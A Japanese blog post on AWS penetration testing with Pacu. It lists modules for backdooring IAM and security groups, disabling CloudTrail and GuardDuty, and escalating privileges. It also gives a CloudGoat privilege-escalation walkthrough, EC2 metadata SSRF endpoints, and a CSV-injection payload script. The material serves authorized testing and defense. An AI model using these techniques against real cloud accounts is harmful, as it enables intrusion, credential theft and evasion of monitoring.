Cloud computing and cyber security

【全モジュール解説】AWS特有のセキュリティリスクとPacuでクラウド診断/ペネトレーションテストの実施(2023年12月更新)

投稿日: カテゴリー: AWS
Pocket

クラウドでは1つの設定で無数の影響が発生する。安易な対処療法ではなく診断が大切

クラウド環境(AWS)で旧来のプラットフォーム診断よろしくNmapなどでポートスキャンを回したところでGuardDuty(Recon:EC2/Portscan)に検知されるが関の山で、クラウド特有の問題に常識をアップデートしなければ現在のリスクに対応できません。(万が一、GuardDutyをONにして無かったらしれっと準拠しましょう)
改めてクラウド設定不備を突かれる攻撃が後を絶たないのは何故でしょう。

結論を言えば、クラウド上の設定や構成は、無策では設定や構成した人の役割や責務を大きく超える場合が多いからです。このため、単純に意図した設定か確認しその部分だけ蓋をするの従来的な対応では思わぬ悪用の可能性が潰しきれないからです。ノーコードで有名なbubbleでもテーブルコピーの対象に「All types」が選択ができ、上書きし事業継続できなくなる問題があったりと(こちらは流石にbubbleが対処した模様)と簡単にできることと、影響波及への責任がバランスしなくなる問題が多いのはSaaSであれ、PaaSであれ同じです。

加えて、設定不備の箇所でXSSのようにその場がピンポイントで被害箇所になるとも限らず、、正常性バイアス(今問題ないんだから問題ないはずと思い込む)が多数な空気での設定不備のピンポイントな指摘は、内製診断で繰り返せばオオカミ少年とあだ名を付けられかねません。
したがってSTSの不備からEC2で不正なコードを実行させる。セキュリティグループにバックドアを仕掛ける。権限の不正昇格などまで一気貫通で被害シナリオを目の前で見せ、正常性バイアスの掛かった視界から目を覚まされる必要があります。

幸い無償ツールでpacuが利用可能であり、結果まで完遂しないとリスクを示しづらいクラウド診断の大きな助けになります。

この記事では、pacuの導入を簡単に示した後、pacuの全モジュールをATT&CKに沿って紹介、Cloudgoatで実践的なシナリオにチャレンジする方法と実例を紹介、最後に診断やペンテストを実践するためのAWSサービスのセキュリティナレッジを紹介したいと思います。

大ボリュームですが、ブックマークして必要に応じて参考にするようにして頂けますと幸いです。

pacuのインストールと簡単な利用の流れ

Pythonの環境(Google ColabでもOK)で以下を実行しピラニアらしきアスキーアートが出てきたらインストール完了です。コマンドの先頭!を入れ、cdの時だけ%を入れるのに注意しましょう。

git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
bash install.sh
python3 pacu.py

lsコマンドでモジュール一覧が表示されます。コマンドの実行は「run+モジュール名」の形で実行します。

run aws__enum_account
run ec2__enum --regions ap-northeast-1

IAMActionHunterも追加され、網羅的な確認と説明責任に活用可能になりますます強化されたpacuはこれかも楽しみですね。

実施の際の攻撃者の立ち位置も明確にした上で実施計画を設計しましょう。

①完全な外部、②元社員や協力会社、③同会社本来アクセスを想定しない他組織、④チーム内の内部犯行(内通協力者)などを想定し、所属や権限を確認の上まずは偵察を重点的に行いましょう。

1.偵察(Reconnaissance)

acm__enum

ACM 証明書に関する情報の一覧表示と取得、期限切れの証明書の一覧表示、および証明書を生成できるプライベート CA に関する情報を収集します。

期限切れの証明書は乗っ取られ悪用される可能性があります。

enum__apigateway

アクセス可能なAPI ゲートウェイを列挙します。さらにAPI ごとに、利用可能なルート、メソッド、API キー、およびクライアント証明書を列挙します。

aws__enum_account

アカウントに関することを列挙します。

aws__enum_spend

サービス毎の支出の表示を試みます。攻撃対象のよく利用されるサービスを特定するのに活用可能です。

cloudformation__download_data

テンプレート、パラメータ、エクスポートをダウンロードします。もしシークレットがあれば検索し、データを全てファイルに保存します。

codebuild__enum

関連付けられた環境変数内の機密情報(パスワード、シークレット、API キーなど)を収集します。

dynamodb__enum

DynamoDB テーブルに関する情報を列挙し、条件次第でテーブル値をファイルにダンプすることもできます。

ebs__enum_volumes_snapshots

Elastic Block Store ボリューム、スナップショット、スナップショット権限を列挙し、データを現在のセッションに保存します。

  • 暗号化されていないボリュームのリスト

~/.local/share/pacu/sessions/[current_session_name]/downloads/unencrypted_ebs_volumes_[timestamp].csv

  • 暗号化されていないスナップショット

~/.local/share/pacu/sessions/[current_session_name]/downloads/unencrypted_ebs_snapshots_[timestamp].csv 

ec2__check_termination_protection

EC2 インスタンスの終了保護がインスタンスのセットに対して有効になっているかどうかを確認します。

  • 終了保護が無効になっているインスタンス一覧の保存先

~/.local/share/pacu/sessions/[current_session_name]/downloads/termination_protection_disabled_[timestamp].csv

ec2__download_userdata

EC2 インスタンス ID および/または EC2 起動テンプレート ID のリストを取得し、各インスタンス/テンプレートに関連付けられたユーザー データをリクエストしてダウンロードします。

  • データの保存先

~/.local/share/pacu/sessions/[session_name]/downloads/ec2_user_data/ 

ec2__enum

EC2関連のあらゆる情報が列挙されます。インスタンス、セキュリティ グループ、Elastic IP アドレス、VPN カスタマー ゲートウェイ、専用ホスト、ネットワーク ACL、NAT ゲートウェイ、ネットワーク インターフェイス、ルート テーブル、サブネット、 VPC と VPC エンドポイントなど。

特定の値のみ狙い撃ちで出力するオプションもあります。

ecr__enum

このモジュールは、Elastic Container Registry (ECR) 内のすべての ECR イメージとリポジトリに関する情報を列挙します。

ecs__enum

ECS から入手可能なあらゆる情報を列挙します。

ecs__enum_task_def

ECS クラスターのタスク定義を取得します。

  • タスクの各コンテナで使用する Docker イメージ
  • 各タスクで、またはタスク内の各コンテナで使用する CPU とメモリの量
  • 使用する起動タイプ、これによりタスクをホストするインフラストラクチャを決定
  • タスクのコンテナで使用する Docker ネットワーキングモード
  • タスクで使用するログ記録設定
  • コンテナが終了または失敗した場合にタスクを実行し続けるかどうか
  • コンテナの開始時に実行するコマンド
  • タスク内でコンテナが使用するデータボリューム
  • タスクで使用される IAMロー

eks_enum

EKS リソースを列挙します。

enum__secrets

AWS Secrets Manager および AWS Systems Manager パラメータ ストア内のシークレットを列挙します。

glue__enum

AWS Glue からのすべての関連データ(クローラ、データベース、開発エンドポイント、ジョブなど)を列挙します。

guardduty__list_accounts

GuardDuty アカウントにリンクされているアカウントをリストアップします。

guardduty__list_findings

 GuardDuty の検出結果をリストアップします。以下の階層に結果を出力します。

~/.local/share/pacu/sessions//guardduty/ 

iam__bruteforce_permissions

サポートされているサービスの可能なすべての API 呼び出しを自動的に実行します。

iam__detect_honeytokens

アクティブなキーのセットがハニートークンであることを確認します。

iam__enum_action_query

ユーザーとロールの IAM 権限をクエリし、それらの権限を持つリソースを確認、列挙します。

iam__enum_permissions

IAM API を使用して、アカウント内のユーザー/ロールに対する IAM 権限の確認済みリストを列挙しようとします。

iam__enum_users_roles_policies_groups

アカウント内のすべてのユーザー、ロール、顧客管理ポリシー、およびグループの情報の4つを列挙します。

iam__get_credential_report

AWS アカウントの認証情報レポートのダウンロードを試み、アカウント内のユーザーに多くの認証履歴/情報を提供します。

レポートがない場合もレポートを生成するリクエストを発行します。

  • レポートの保存先

~/.local/share/sessions/[current_session_name]/downloads/get_credential_report_[current_time].csv 

inspector__get_reports

Amazon Inspector のレポートを探します。インスペクター レポートの実行 ID にちなんで名付けられたフォルダー内のセッション ダウンロード ディレクトリに自動的にダウンロードします。

lambda__enum

Lambda 関数、ソースコード、エイリアス、イベントソースマッピング、バージョン、タグ、ポリシーに関連するデータを列挙します。

lightsail__enum

Lightsail データ フィールドを検査し、利用可能なすべてのリージョンについてそれらを自動的に列挙します。

organizations__enum

アカウント、ポリシーなどのさまざまな組織リソースのリストを列挙します。コマンド完了時にデータが取得できていれば、ルート、アカウント、組織単位間の関係を可視化したグラフを作成します。

rds_enum

データベースのマスター ユーザー名、SGDB (エンジン)、ポート、エンドポイントを含む、特定のリージョンの AWS RDS から関連するすべてのインスタンス データベースを列挙します。

rds__enum_snapshots

アカウントのすべての RDS スナップショット (クラスター スナップショットを含む) と、他のアカウントによってこのアカウントに共有されているスナップショットを列挙します。

  • 暗号化されていないスナップショットのリスト

./sessions/[current_session_name]/downloads/unencrypted_rds_snapshots_[timestamp].csv 

route53__enum

Route53 ホスト ゾーンを列挙し、後で使用できるようにそれらをクエリ ログ構成と関連付けます。

systemsmanager__download_parameters

すべての Systems Manager パラメータとその値をすべてのリージョンからダウンロードします。

transfer_family__enum

AWS Transfer Family から関連するすべてのサーバーを列挙します。

2.リソース開発(Resource Development)

攻撃に必要なツールや環境を作成する。pacuもこれに入る

3.初期アクセス(Initial Access)

ネットワークに侵入を試みる。スピアフィッシングなどのテクニックで標的へのアクセスを試みることも含まれる。

4.実行(Execution)

攻撃コードを実行

api_gateway__create_api_keys

定義されている任意またはすべての REST API の API ゲートウェイ キーの作成を試み、利用可能なすべてリージョンで API キーを生成します。

ebs__explore_snapshots

マウントできるように作成したEC2インスタンスにEBS ボリューム/スナップショットを復元し、選択した EC2 インスタンスにアタッチします。

ec2__startup_shell_script

起動スクリプトの入るUser Dataが起動時にroot/SYSTEM権限で実行されることを悪用してシェルスクリプトを組み込ませ、EC2 インスタンスを停止および再起動してコードを実行します。

ecs__backdoor_task_def

ocker イメージを列挙し、悪意のあるシェル スクリプトをコンテナに設置を試みます。

lightsail__download_ssh_keys

AWS Lightsail のアカウントのデフォルトの公開 SSH キーと秘密 SSH キーをダウンロードします。

lightsail__generate_ssh_keys

Lightsail インスタンスへの接続に使用できる SSH キーを作成します。新しいキーを作成したり、公開キー ファイルを渡して既存のキーをインポートしたりできます。

lightsail__generate_temp_access

このモジュールは、Lightsail インスタンスへの接続に使用できる一時的な SSH キーを作成し、セッションのダウンロード ディレクトリにダウンロードします。

systemsmanager__rce_ec2

EC2 Systems Manager 経由でroot/SYSTEM 権限として任意のコマンドを実行しようと試みます。

5.永続化(Persistence)

不正アクセスする環境の確保を試みる

ec2__backdoor_ec2_sec_groups

EC2 セキュリティ グループにルールを追加して指定のIPからのアクセスを許可させます。

iam__backdoor_assume_role

ユーザー アカウントとアカウント内の 1 つ以上のロールの間に信頼関係を作成しassume roleを許可させます。

iam__backdoor_users_keys

アカウント内のユーザーに AWS API キーを追加しようとします。このコマンドの前に「enum_users_roles_policies_groups」を実行してアカウント内のすべてのユーザーを取得しておくと良いでしょう。

iam__backdoor_users_password

アカウント内のユーザーにパスワードを追加しようとします。とは言ってもパスワードをすでに持っているユーザー アカウントにはパスワードを追加できません。

lambda__backdoor_new_roles

新しい Lambda 関数と、アカウントに新しい IAM ロールが作成されるとトリガーされる付随する CloudWatch Events ルールを作成します。

注意点は2つあります。

  • このバックドアはus-east-1 に作成されること、
  • us-east-1 で CloudTrail 証跡がない場合実行されないこと

lambda__backdoor_new_sec_groups

新しい Lambda 関数と、アカウント内に新しい EC2 セキュリティ グループが作成されるとトリガーされる付随する CloudWatch Events ルールを作成します。「ec2__backdoor_ec2_sec_groups」と組み合わせると良いでしょう。

lambda__backdoor_new_users

新しい Lambda 関数と、アカウントに新しい IAM ユーザーが作成されるとトリガーされる付随する CloudWatch Events ルールを作成します。

注意点は2つあります。

  • このバックドアはus-east-1 に作成されること、
  • us-east-1 で CloudTrail 証跡がない場合実行されないこと

6.権限昇格(Privilege Escalation)

より高いレベルの権限の取得を試みる

iam__privesc_scan

権限の設定ミスをスキャンして、権限昇格が可能な場所を確認します。

cfn__resource_injection

CloudFormationは実行のために S3 にアップロードする必要があります。CloudFormation デプロイメント ステップが S3 URL (TemplateURL パラメーター)の参照となっており、デプロイされる前にすげ替えることにより、攻撃者はターゲット アカウントで 権限昇格ができる可能性があります。

実際、テンプレートのアップロード手順とデプロイ手順の間には、少なくとも 1 秒の遅延があります。手動では困難なのでツールの出番ですね。

詳しくは公式ページを確認しましょう

7.防衛回避(Defense Evasion)

検知されないように欺瞞や隠蔽を試みる

Cloudtrail__download_event_history

CloudTrail イベント履歴を JSON ファイルにダウンロードします(※ペンテストで実行するのは控えたほうが良さげです。)

Cloudwatch__download_logs

CloudWatch ログをキャプチャし、セッション ダウンロード フォルダーにダウンロードします(※ペンテストで実行するのは控えたほうが良さげです。)

detection__enum_services

現在の AWS アカウントに実装されているさまざまなロギングおよびモニタリング機能を列挙します。

 CloudTrail、GuardDuty、AWS Config、CloudWatch alarms、CloudWatch alarms、VPC flow logs

detection__disruption

 CloudTrail、GuardDuty、AWS Config、CloudWatch alarms、CloudWatch alarms、VPC flow logsを取得、無効化または削除するオプションを提示します。CloudTrail の場合は、無効化できなくとも最小化するオプションがあります。これにより監視が行き届かない箇所を発生させます。

elb__enum_logging

ログが無効になっている ELB のリストを以下に列挙します。

~/.local/share/pacu/sessions/[current_session_name]/downloads/elbs_no_logs_[timestamp] .csv

guardduty__whitelist_ip

GuardDuty の信頼できる IP リストに追加して、これらの IP に対するセキュリティ アラートを基本的に無効にします。

既存の GuardDuty の検出結果は消去されません。

GuardDuty 検出器ごとに許可される信頼できる IP アドレスのリストは 1 つだけなので控えをとって置かないと後で問題になる可能性があります。

waf__enum

ルール グループ、ルール、およびそれらのルールの一致セットを含む、WAF を列挙します。

8.認証情報アクセス(Credential Access)

アカウントやパスワードの盗取を試みる。ブルートフォース(Brute Force)など位置づけられている。

iam__enum_roles

アカウント ID を指定して、別の AWS アカウントの IAM ロールを列挙します。

注意:「iam:UpdateAssumeRolePolicy」「sts:AssumeRole」ログを CloudTrail にスパム送信するため監査用のアカウントで実行した方が良いでしょう。

iam__enum_users

アカウント ID を指定して、別の AWS アカウントの IAM ユーザーを列挙します。

注意:「iam:UpdateAssumeRolePolicy」「sts:AssumeRole」ログを CloudTrail にスパム送信するため監査用のアカウントで実行した方が良いでしょう。

9.探索(Discovery)

アクセス先の環境を把握しようと試みる。列挙で事足りる場合の他、ネットワークコマンドやNmapなどに頼るケースもあります。

10.水平展開(Lateral Movement)

アクセス先の環境で別の対象へ移動を試みる

Cloudtrail__csv_injection

CloudtrailがCSV形式でダンロードされた場合、多くがExcelで開かれることを悪用し任意のコマンドを実行させようという作戦です。

任意のコマンドが効かなくとも「IMPORTXML(url, xpath_query)」のような普通の関数で情報の盗み出しを行われる可能性は十分にあり得ます。

organizations__assume_role

AWS アカウントのリストと、すべてのロールを収集し

vpc__enum_lateral_movement

DirectConnect、VPN、または VPC ピアリングを探して侵害可能な場所を提示します。

11.収集(Collection)

目標に関連のあるデータを収集する。水平展開(Lateral Movement)後にenum系のコマンドを実行しましょう。

 

12.C&C(Command and Control)

侵害されたシステムと通信して制御を試みる。クラウド特有で言えばドメインフロンティングなどの攻撃手法をテストするなどが含まれるでしょう。

13.持ち出し(Exfiltration)

情報資産の持ち出しを試みる

ebs__download_snapshots

EBSスナップショットをダウンロードします。DescribeSnapshots や StartSnapshot は一見無害なので検知にも引っ掛かりづらいです。

dsnapスナップショットをダウンロードして、Vagrant と VirtualBoxを使用してローカルでイメージを調査します。

pip install -U pip 

pip install 'dsnap[cli]'

Vagrant と VirtualBoxのインストールが必要なので、入っていない場合インストールして、調査方法は公式ページをチェックしましょう。

brew install vagrant

brew install virtualbox

rds__explore_snapshots

実行中の RDS データベースのコピーを作成して、保護された情報にアクセスします。基本的に法人サービスでこれを実行できたら詰みでしょう。すべてのデータベース インスタンスのスナップショットを作成しそれらのスナップショットから新しいデータベース インスタンスを復元、コピーされたデータベースへのアクセスを許可するためにマスター パスワードを変更します。

提供された接続情報で接続した対話を解除するとクリーンアップされるため注意しましょう。

s3__download_bucket

AWS バケットの現在のアカウントをスキャンし、各バケットについてできる限り多くのデータを出力/保存します。

–names-only または –dl-names を使用して制限しないとPCの容量が一瞬で飛びかねないので–names-onlyで実行の後に–dl-namesで狙い撃ちするのが安全な使用方法となります。

以上で全て(2023年12月時点)ですが

 

実践的なクラウドのペンテストを体験したい皆さんはCloudgoatにチャレンジしましょう。イメージを掴むためには手を動かすのが一番ですね。

インストール方法は公式にある通り、4つコマンドを実行するだけです(私の環境ではls -laすると最後のコマンドなしでも実行権限ついていました(怪奇))

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git 
cd cloudgoat 
pip3 install -r ./requirements.txt 
chmod +x cloudgoat.py

まずはデフォルトのプロファイルをセットしましょう。

./cloudgoat.py config profile cloudgoat

送信元をホワイトリスト化しておきましょう。

./cloudgoat.py config whitelist --auto

lsするとscenariosというフォルダが見つかるはずです。scenariosの中を覗くと様々なシナリオがあることが判ります。

(Easy)vulnerable_lambda→./cloudgoat.py create vulnerable_lambda

(Moderate)vulnerable_cognito→./cloudgoat.py create vulnerable_cognito

(Easy)iam_privesc_by_key_rotation→ ./cloudgoat.py create iam_privesc_by_key_rotation

(Easy)iam_privesc_by_rollback →./cloudgoat.py create iam_privesc_by_rollback

(Easy)lambda_privesc → ./cloudgoat.py create lambda_privesc

(Moderate)cloud_breach_s3 →./cloudgoat.py create cloud_breach_s3

(Easy)iam_privesc_by_attachment →./cloudgoat.py create iam_privesc_by_attachment

(Moderate)ec2_ssrf→./cloudgoat.py create ec2_ssrf

(Moderate)ecs_takeover →./cloudgoat.py create ecs_takeover

(Hard)rce_web_app→./cloudgoat.py create rce_web_app

(Hard)codebuild_secrets →./cloudgoat.py create codebuild_secrets

(Moderate)cicd→./cloudgoat.py create cicd

(Hard)detection_evasion→./cloudgoat.py create detection_evasion

(Hard)ecs_efs_attack → ./cloudgoat.py create ecs_efs_attack

14個のシナリオがあるが5つのEasyをクリアすればある程度のテストはできます。

5つのMorerateを自力クリアできばクラウドペンテスターと名乗って良いでしょう。Hardが自力出行けるようでしたら悪い組織からもお声が掛かりそうなので闇堕ちしないことを祈ります。

この記事ではEasyであるiam_privesc_by_rollback を解きながら雰囲気を紹介していきたいと思います。

※Easyならネタバレ怒られなそうなのと、CloudGoat全般的にシナリオが長くブログとして読みづらくなるというのも選定の理由です。

完了したら、プロファイルの中身を確認します。

aws iam get-user --profile raynor

どんなポリシーがアタッチされているか確認します。

aws iam list-attach-user-policies --profile raynor --user-name (NAMEに書いてある値)

list-attach-user-policiesをlist-user-policiesにしてみると空になっていることが判ります。

aws iam get-policy --profile raynor --policy-arn (Policy-Arnに書いてある値)

Default Version Idがv1であることが確認できます。

aws iam get-policy-version --profile raynor --policy-arn (Policy-Arnに書いてある値) --version-id v1

他のバージョンが当然気になりますよね

aws iam list-policy-version --profile raynor --policy-arn (Policy-Arnに書いてある値) 

5つ出てきました。IsDefaultVersionはv1以外はfalseとなっているはずです。

aws iam get-policy-version --profile raynor --policy-arn (Policy-Arnに書いてある値) --version-id v2

1つづつ確認するとv3が一番高い権限を持っていると確認できます。セットしましょう。

aws iam set-default-policy-version  –version-id v3 –profile raynor –policy-arn (Policy-Arnに書いてある値)

aws iam attach-user-policy --user-name (NAMEに書いてある値) --policy-arn (AWS公式からAdministoratorAccess) --profile raynor

AdministoratorAccessをPolicyにセットいるので目的達成ですね。終わったら必ず環境を削除しましょう

./cloudgoat.py destroy iam_privesc_by_rollback

いかがでしたしょうか。他のモジュールを攻略するためにもAWSサービスの診断ナレッジが不可欠ですね。全てを書くと本一冊でも書き切れるか怪しい分量なので少しだけナレッジを紹介したいと思います。

AWSサービス毎の診断ナレッジ

S3

AWSを使用している疑いのサイトURLのnslookupなどで引いたIPを、もう一度nslookup引いてみるとS3であることが判る場合があります。

WapplazerがS3を推定する場合にも使用している手段ですね。

nslookup (nslookupなどで引いたIP)
Non-authoritative answer:
131.212.92.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.

アクセスキーがない場合でも以下のようなアプローチが可能です。–no-sign-requestと–regionでリージョンを指定して実行します。

aws s3 ls s3://(AWSを使用している疑いのサイトURL) --no-sign-request   --region us-west-2

ここでAccess Deniedが返ってきた場合も、S3アクセス可能なオレオレプロファイルで実行するとアクセスできる場合があります

aws --profile (任意のS3プロファイル)  s3 ls s3://(AWSを使用している疑いのサイトURL)

.gitファイルの危険性も理解すべきです。syncしてtig s(git logでもOK)で過去に一時的にでも入れたコンテンツが表示できます。アクセスキー等機微な情報を取得できる可能性があります。

aws s3 sync s3://(AWSを使用している疑いのサイトURL) --no-sign-request --region us-west-2

CloudFrontを手前に置きPUTを禁止しOACの構成にするのはもちろん、S3には一時的であっても機微な情報を置かないことが大切です。

AWS EC2

以下のパスにSSRFするとクレデンシャルを入手することができます。
IPv4
http://169.254.169.254/latest/meta-data/
IPv6
http://fd00:ec2::254/latest/meta-data/

ちなみにECSのメタデータはhttp://169.254.179.2/v2/metadataにありますが、クレデンシャルは「http://169.254.170.2/v2/credentials/」にあり、その値は環境変数(/proc/self/environ)のECS_CONTAINER_METADATA_URIから得られるためかなりセキュアになっています。

以下を確認して暗号化されているか(”Encrypted”:”false”)などボリュームの設定は以下のコマンドで確認できます。

aws --profile (任意のEC2プロファイル) ec2 discribe-volumes --region us-west-2

暗号化されていない場合、aws sts get-caller-identityでidを確認することでスナップショットのSnapshot-Idが手に入ります。

aws --profile (任意のEC2プロファイル) ec2 discribe-snapshots --owner-id (取得したid) --region us-west-2

取得したSnapshot-IdでEC2インスタンスを立ち上げてみます。立ち上がったらvolume-idを指定してアタッチします。

aws --profile (攻撃者のプロファイル) ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id Snapshot-Id raid aws --profile (攻撃者のプロファイル) ec2 attach-volume --volume-id (取得したID) --instance-id (取得したID) --device /dev/sdf --region us-west-2

このままSSHで環境にアクセスできます。ここDBがあったら・・コストが高いからとEC2内にMySQLを入れアップデートもままならず3306も解放とアンチセキュリティを爆走する環境も現実には存在します。きちんとマネージドなRDSは使うべきと悟るはずです。

ec2__startup_shell_scriptモジュールはEC2インスタンスのユーザデータ機能を悪用して、任意のコードをroot権限で実行させることができます。リバースシェルを実行させ足場を確保するシナリオを実行するのが伝わりやすいでしょう。shファイルにやりたいことを書いて以下を実行します。

run ec2__startup_shell_script instance_ids i-xxxxxx@ap-northeast-1 --script /tmp/attack.sh

指定した攻撃サーバでコマンドをいくつか打ち確かにシェルが取れているかを示します。

Cognito

ログインは提供するがユーザ登録は会社で契約に基づいて行うようなB向けのサービスで画面上は新規登録を提供していないが、ヘッダー変えて叩くと新規登録できてしまう環境を見かけることがあります。手動でもBurpSuiteなどで診断可能ですがpacuであれば以下のようなコマンドで直接、ユーザプールに不正なアカウントを作成させるテストを実行可能です。MFAがあってもガイダンス付きで突破可能です。

run cognito__attack --username randomuser --email pacu+test@xxxxx.com --identity_pools

詳しくはここを見ましょう。

DX施策で社内アプリをクラウド上に移行した場合、Application Load Balancer でAmazon Cognito ユーザープールを使用するケースも見られるようになりましたのでこのような環境でも診断すべきでしょう。

cloudtrail_csv_injection

cloudtrail_csv_injectionのモジュールではMicrosoft Excel や Google Sheets の式を名前として使用して CloudTrail 証跡を作成して「=cmd|’/C calc’|’’」のようなCSVを開いたタイミングで実行される文字列を混在させます。詳しくはこちらに紹介されています。

#!/usr/local/bin/python
import boto3
payload = “=cmd|’/C calc’|’’”
client = boto3.client(‘cloudtrail’)
response = client.create_trail(
	Name=payload,
	S3BucketName=”random”
)
print(response)

これに限らず監視系のツールが悪用されるケースが後を立たないため、機微情報のマスクだけでなくビューワー出力時に害が及ばないように対策を講じることを考慮しなければなりませんね。

また、色々追記していきます。

以上です。参考になれば幸いです。